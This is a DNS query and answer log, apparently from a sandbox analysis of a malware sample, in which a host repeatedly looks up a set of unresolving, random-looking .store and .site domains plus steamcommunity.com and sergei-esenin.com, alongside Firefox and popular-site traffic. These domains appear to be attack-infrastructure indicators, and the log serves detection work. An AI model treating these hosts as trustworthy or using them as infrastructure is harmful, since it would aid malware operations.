Oct 24, 2024 18:09:16.424998045 CEST	192.168.2.6	1.1.1.1	0xa172	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.441672087 CEST	192.168.2.6	1.1.1.1	0x5bfd	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.453576088 CEST	192.168.2.6	1.1.1.1	0xaa97	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.465946913 CEST	192.168.2.6	1.1.1.1	0x755c	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.479187012 CEST	192.168.2.6	1.1.1.1	0x6a6a	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.491678953 CEST	192.168.2.6	1.1.1.1	0x72cf	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.504396915 CEST	192.168.2.6	1.1.1.1	0xa1ee	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.517041922 CEST	192.168.2.6	1.1.1.1	0x3675	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.530618906 CEST	192.168.2.6	1.1.1.1	0x489f	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:28.957367897 CEST	192.168.2.6	1.1.1.1	0x30b0	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:28.971276999 CEST	192.168.2.6	1.1.1.1	0x9790	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:28.984684944 CEST	192.168.2.6	1.1.1.1	0xa3ce	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:28.997026920 CEST	192.168.2.6	1.1.1.1	0x7b96	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:29.008965015 CEST	192.168.2.6	1.1.1.1	0x42fd	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:29.022666931 CEST	192.168.2.6	1.1.1.1	0xc524	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:29.037303925 CEST	192.168.2.6	1.1.1.1	0xcc94	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:29.051127911 CEST	192.168.2.6	1.1.1.1	0x85f0	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:37.776057959 CEST	192.168.2.6	1.1.1.1	0xeb73	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:37.925898075 CEST	192.168.2.6	1.1.1.1	0x6e51	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:37.943963051 CEST	192.168.2.6	1.1.1.1	0x4abe	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:37.962938070 CEST	192.168.2.6	1.1.1.1	0xb292	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:37.981441021 CEST	192.168.2.6	1.1.1.1	0x5c0	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:37.998306036 CEST	192.168.2.6	1.1.1.1	0x8cd6	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:38.012835979 CEST	192.168.2.6	1.1.1.1	0x79d7	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:38.025655031 CEST	192.168.2.6	1.1.1.1	0xae2b	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:38.040277004 CEST	192.168.2.6	1.1.1.1	0xed54	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:38.475322008 CEST	192.168.2.6	1.1.1.1	0xf12d	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:38.485088110 CEST	192.168.2.6	1.1.1.1	0x3756	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 18:09:39.168778896 CEST	192.168.2.6	1.1.1.1	0x99b0	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:39.168778896 CEST	192.168.2.6	1.1.1.1	0xcc37	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:39.201443911 CEST	192.168.2.6	1.1.1.1	0xa749	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:39.225419044 CEST	192.168.2.6	1.1.1.1	0x632b	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:39.246965885 CEST	192.168.2.6	1.1.1.1	0xee92	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 24, 2024 18:09:39.251286030 CEST	192.168.2.6	1.1.1.1	0xe01e	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 18:09:40.577044964 CEST	192.168.2.6	1.1.1.1	0x6df0	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:40.586370945 CEST	192.168.2.6	1.1.1.1	0xbb2c	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:40.586579084 CEST	192.168.2.6	1.1.1.1	0x73a3	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:40.599394083 CEST	192.168.2.6	1.1.1.1	0x50b2	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 18:09:40.599526882 CEST	192.168.2.6	1.1.1.1	0x4362	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:40.599714041 CEST	192.168.2.6	1.1.1.1	0xace6	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:40.611041069 CEST	192.168.2.6	1.1.1.1	0x35dc	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:40.628993988 CEST	192.168.2.6	1.1.1.1	0xfc81	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 18:09:42.400127888 CEST	192.168.2.6	1.1.1.1	0x690b	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:42.437805891 CEST	192.168.2.6	1.1.1.1	0x7b8e	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:42.446310997 CEST	192.168.2.6	1.1.1.1	0x66fa	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 18:09:42.508191109 CEST	192.168.2.6	1.1.1.1	0x107e	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:42.518251896 CEST	192.168.2.6	1.1.1.1	0xaf1c	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:42.527273893 CEST	192.168.2.6	1.1.1.1	0xe71d	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 18:09:47.530235052 CEST	192.168.2.6	1.1.1.1	0xc8c6	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:47.556711912 CEST	192.168.2.6	1.1.1.1	0x9204	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:47.571520090 CEST	192.168.2.6	1.1.1.1	0x2352	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 18:10:06.222038984 CEST	192.168.2.6	1.1.1.1	0x9423	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 18:10:06.459603071 CEST	192.168.2.6	1.1.1.1	0xf345	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:06.535016060 CEST	192.168.2.6	1.1.1.1	0x9691	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 18:10:06.560717106 CEST	192.168.2.6	1.1.1.1	0x9691	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 18:10:06.579049110 CEST	192.168.2.6	1.1.1.1	0x6a98	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 18:10:06.706300020 CEST	192.168.2.6	1.1.1.1	0x952a	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:06.707081079 CEST	192.168.2.6	1.1.1.1	0xbf2f	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 18:10:06.749155045 CEST	192.168.2.6	1.1.1.1	0xbf2f	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 18:10:06.787058115 CEST	192.168.2.6	1.1.1.1	0x8850	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:06.829866886 CEST	192.168.2.6	1.1.1.1	0x8850	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:06.830859900 CEST	192.168.2.6	1.1.1.1	0x55cc	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:06.859776974 CEST	192.168.2.6	1.1.1.1	0x55cc	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:06.891786098 CEST	192.168.2.6	1.1.1.1	0x98dd	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 18:10:06.920152903 CEST	192.168.2.6	1.1.1.1	0x98dd	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 18:10:07.083266973 CEST	192.168.2.6	1.1.1.1	0xec77	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:07.102449894 CEST	192.168.2.6	1.1.1.1	0x7182	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:07.153343916 CEST	192.168.2.6	1.1.1.1	0xa4ea	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 18:10:07.158001900 CEST	192.168.2.6	1.1.1.1	0xf19e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:07.974133015 CEST	192.168.2.6	1.1.1.1	0x6805	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:07.974464893 CEST	192.168.2.6	1.1.1.1	0x3e97	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:07.974561930 CEST	192.168.2.6	1.1.1.1	0x155c	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.007770061 CEST	192.168.2.6	1.1.1.1	0x155c	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.007770061 CEST	192.168.2.6	1.1.1.1	0x3e97	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.007770061 CEST	192.168.2.6	1.1.1.1	0x6805	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.571623087 CEST	192.168.2.6	1.1.1.1	0x17f7	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.619415045 CEST	192.168.2.6	1.1.1.1	0x17f7	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.619708061 CEST	192.168.2.6	1.1.1.1	0xa8a	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.620089054 CEST	192.168.2.6	1.1.1.1	0x8b0d	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.661822081 CEST	192.168.2.6	1.1.1.1	0x8b0d	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.661822081 CEST	192.168.2.6	1.1.1.1	0xa8a	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.661911964 CEST	192.168.2.6	1.1.1.1	0xca04	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 24, 2024 18:10:08.669919968 CEST	192.168.2.6	1.1.1.1	0xc935	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 24, 2024 18:10:08.670402050 CEST	192.168.2.6	1.1.1.1	0xd2aa	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 24, 2024 18:10:08.682041883 CEST	192.168.2.6	1.1.1.1	0x7254	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.682758093 CEST	192.168.2.6	1.1.1.1	0xba01	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.712099075 CEST	192.168.2.6	1.1.1.1	0xbd58	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.712419987 CEST	192.168.2.6	1.1.1.1	0xc271	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.712527990 CEST	192.168.2.6	1.1.1.1	0x14f5	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:08.721612930 CEST	192.168.2.6	1.1.1.1	0x47c2	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 18:10:08.751338005 CEST	192.168.2.6	1.1.1.1	0x91a9	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 24, 2024 18:10:08.825211048 CEST	192.168.2.6	1.1.1.1	0xa9fa	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 24, 2024 18:10:10.785168886 CEST	192.168.2.6	1.1.1.1	0x972c	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 18:10:13.746927977 CEST	192.168.2.6	1.1.1.1	0x7205	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 18:07:59.816895962 CEST	1.1.1.1	192.168.2.6	0xdd80	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.829111099 CEST	1.1.1.1	192.168.2.6	0xf52	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.841732979 CEST	1.1.1.1	192.168.2.6	0x2dc5	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.852919102 CEST	1.1.1.1	192.168.2.6	0xcf20	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.877360106 CEST	1.1.1.1	192.168.2.6	0xa7e8	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.891422033 CEST	1.1.1.1	192.168.2.6	0x10e1	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.902775049 CEST	1.1.1.1	192.168.2.6	0x39e5	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.915537119 CEST	1.1.1.1	192.168.2.6	0x11a0	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:07:59.925421953 CEST	1.1.1.1	192.168.2.6	0xb293	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:08:01.649895906 CEST	1.1.1.1	192.168.2.6	0x33d	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:08:01.649895906 CEST	1.1.1.1	192.168.2.6	0x33d	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.438702106 CEST	1.1.1.1	192.168.2.6	0xa172	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.451575994 CEST	1.1.1.1	192.168.2.6	0x5bfd	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.463902950 CEST	1.1.1.1	192.168.2.6	0xaa97	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.477180004 CEST	1.1.1.1	192.168.2.6	0x755c	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.490633011 CEST	1.1.1.1	192.168.2.6	0x6a6a	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.501548052 CEST	1.1.1.1	192.168.2.6	0x72cf	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.514974117 CEST	1.1.1.1	192.168.2.6	0xa1ee	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.527354002 CEST	1.1.1.1	192.168.2.6	0x3675	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:16.539870977 CEST	1.1.1.1	192.168.2.6	0x489f	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:28.968024015 CEST	1.1.1.1	192.168.2.6	0x30b0	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:28.981451035 CEST	1.1.1.1	192.168.2.6	0x9790	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:28.994443893 CEST	1.1.1.1	192.168.2.6	0xa3ce	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:29.006876945 CEST	1.1.1.1	192.168.2.6	0x7b96	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:29.020713091 CEST	1.1.1.1	192.168.2.6	0x42fd	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:29.035183907 CEST	1.1.1.1	192.168.2.6	0xc524	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:29.049047947 CEST	1.1.1.1	192.168.2.6	0xcc94	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:29.064733028 CEST	1.1.1.1	192.168.2.6	0x85f0	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:37.915344000 CEST	1.1.1.1	192.168.2.6	0xeb73	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:37.936266899 CEST	1.1.1.1	192.168.2.6	0x6e51	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:37.956424952 CEST	1.1.1.1	192.168.2.6	0x4abe	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:37.976862907 CEST	1.1.1.1	192.168.2.6	0xb292	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:37.993371964 CEST	1.1.1.1	192.168.2.6	0x5c0	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:38.009788990 CEST	1.1.1.1	192.168.2.6	0x8cd6	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:38.023036957 CEST	1.1.1.1	192.168.2.6	0x79d7	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:38.035618067 CEST	1.1.1.1	192.168.2.6	0xae2b	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:38.048963070 CEST	1.1.1.1	192.168.2.6	0xed54	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:38.449600935 CEST	1.1.1.1	192.168.2.6	0xad57	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:38.483345985 CEST	1.1.1.1	192.168.2.6	0xf12d	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:39.175972939 CEST	1.1.1.1	192.168.2.6	0xcc37	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:09:39.175972939 CEST	1.1.1.1	192.168.2.6	0xcc37	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:39.176610947 CEST	1.1.1.1	192.168.2.6	0x99b0	No error (0)	youtube.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:39.208966017 CEST	1.1.1.1	192.168.2.6	0xa749	No error (0)	youtube.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:39.233308077 CEST	1.1.1.1	192.168.2.6	0x632b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:39.254352093 CEST	1.1.1.1	192.168.2.6	0xee92	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 24, 2024 18:09:39.259749889 CEST	1.1.1.1	192.168.2.6	0xe01e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 18:09:40.585051060 CEST	1.1.1.1	192.168.2.6	0x6df0	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:40.595335007 CEST	1.1.1.1	192.168.2.6	0xbb2c	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:40.595388889 CEST	1.1.1.1	192.168.2.6	0x73a3	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:40.607393026 CEST	1.1.1.1	192.168.2.6	0xace6	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:09:40.607393026 CEST	1.1.1.1	192.168.2.6	0xace6	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:40.607763052 CEST	1.1.1.1	192.168.2.6	0x4362	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:40.607763052 CEST	1.1.1.1	192.168.2.6	0x4362	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:40.619966030 CEST	1.1.1.1	192.168.2.6	0x35dc	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:42.409243107 CEST	1.1.1.1	192.168.2.6	0x690b	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:09:42.409243107 CEST	1.1.1.1	192.168.2.6	0x690b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:42.434859991 CEST	1.1.1.1	192.168.2.6	0x91c2	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:09:42.434859991 CEST	1.1.1.1	192.168.2.6	0x91c2	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:42.445858002 CEST	1.1.1.1	192.168.2.6	0x7b8e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:42.516256094 CEST	1.1.1.1	192.168.2.6	0x107e	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:09:42.516256094 CEST	1.1.1.1	192.168.2.6	0x107e	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:09:42.516256094 CEST	1.1.1.1	192.168.2.6	0x107e	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:42.525971889 CEST	1.1.1.1	192.168.2.6	0xaf1c	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:42.535453081 CEST	1.1.1.1	192.168.2.6	0xe71d	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 18:09:47.538297892 CEST	1.1.1.1	192.168.2.6	0xc8c6	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:09:47.538297892 CEST	1.1.1.1	192.168.2.6	0xc8c6	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:09:47.538297892 CEST	1.1.1.1	192.168.2.6	0xc8c6	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:09:47.565028906 CEST	1.1.1.1	192.168.2.6	0x9204	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:06.467573881 CEST	1.1.1.1	192.168.2.6	0xf345	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:10:06.467573881 CEST	1.1.1.1	192.168.2.6	0xf345	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:06.632262945 CEST	1.1.1.1	192.168.2.6	0x184e	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:10:06.632262945 CEST	1.1.1.1	192.168.2.6	0x184e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:06.653201103 CEST	1.1.1.1	192.168.2.6	0x184e	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:10:06.653201103 CEST	1.1.1.1	192.168.2.6	0x184e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:10:06.716777086 CEST	1.1.1.1	192.168.2.6	0x952a	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 18:10:06.794389963 CEST	1.1.1.1	192.168.2.6	0x8850	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
